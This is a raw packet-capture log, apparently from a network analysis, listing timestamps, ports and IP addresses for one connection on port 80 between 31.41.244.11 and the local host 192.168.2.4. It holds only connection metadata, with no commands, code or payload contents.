Nov 19, 2024 22:07:09.368216991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368232012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368242025 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368249893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368279934 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368282080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368299961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368303061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368316889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368343115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368347883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368405104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368405104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368407011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368426085 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368442059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368458986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368469000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368478060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368494987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368506908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368511915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368530989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368531942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368549109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368563890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368567944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368587971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368614912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368622065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368633032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368649960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368662119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368669033 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368683100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368700981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368704081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368720055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368726969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368737936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368748903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368756056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368769884 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368789911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368809938 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368814945 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368833065 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368849039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368865967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368885040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368899107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368916988 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368916988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368933916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368952036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368967056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.368968964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368987083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.368995905 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369019985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369035959 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369038105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369056940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369071007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369091034 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369105101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369112968 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369123936 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369141102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369155884 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369173050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369175911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369216919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369220972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369271994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369281054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369297981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369330883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369342089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369354010 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369359970 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369376898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369400978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369411945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369417906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369436026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369446993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369452953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369467020 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369486094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369502068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369502068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369519949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369538069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369541883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369555950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369584084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369616985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369618893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369635105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369667053 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369668007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369684935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369692087 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369704962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369713068 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369723082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369734049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369740963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369755030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369774103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369776011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369796038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369816065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369821072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369836092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369889975 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369909048 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369925976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369942904 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.369956017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369976997 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.369997978 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370016098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370062113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370064974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370079041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370096922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370111942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370129108 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370143890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370174885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370179892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370206118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370219946 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370239019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370246887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370273113 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370281935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370306015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370321035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370337963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370348930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370387077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370409966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370425940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370445013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370454073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370475054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370476007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370496035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370498896 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370520115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370527029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370541096 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370544910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370575905 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370593071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370621920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370628119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370640039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370657921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370676994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370690107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370706081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370712996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370723009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370733976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370768070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370783091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370812893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370826960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370831013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370850086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370861053 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370882988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370897055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370902061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370944977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.370956898 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370974064 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.370999098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371006966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371032953 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371040106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371062040 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371074915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371099949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371118069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371148109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371151924 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371162891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371171951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371176958 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371200085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371203899 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371232986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371251106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371265888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371296883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371299028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371323109 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371341944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371356010 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371366024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371372938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371390104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371407032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371411085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371433973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371439934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371459007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371470928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371475935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371493101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371510029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371527910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371545076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371546030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371582985 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371617079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371634960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371650934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371668100 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371675014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371685982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371696949 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371704102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371721983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371741056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371776104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371783018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371798992 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371815920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371829987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371846914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371849060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371865034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371884108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371898890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371912003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371917009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371933937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371958971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371977091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.371982098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.371999979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372045994 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372045994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372065067 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372081995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372090101 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372097969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372114897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372131109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372133017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372148991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372163057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372180939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372181892 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372199059 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372215986 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372220993 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372235060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372243881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372263908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372268915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372286081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372287989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372307062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372313023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372335911 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372339964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372361898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372371912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372389078 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372405052 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372416019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372443914 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372477055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372488976 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372523069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372523069 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372543097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372561932 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372569084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372594118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372606039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372626066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372638941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372659922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372672081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372706890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372718096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372750044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372781038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372793913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372798920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372817039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372828960 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372850895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372863054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372900963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372925997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372940063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372956038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372973919 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.372982025 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.372992039 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373009920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373016119 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373039007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373043060 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373074055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373089075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373100996 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373107910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373127937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373132944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373146057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373156071 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373163939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373187065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373198032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373226881 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373245001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373246908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373262882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373277903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373290062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373296022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373313904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373353004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373411894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373430967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373447895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373465061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373481035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.373500109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.373532057 CET	49864	80	192.168.2.4	31.41.244.11
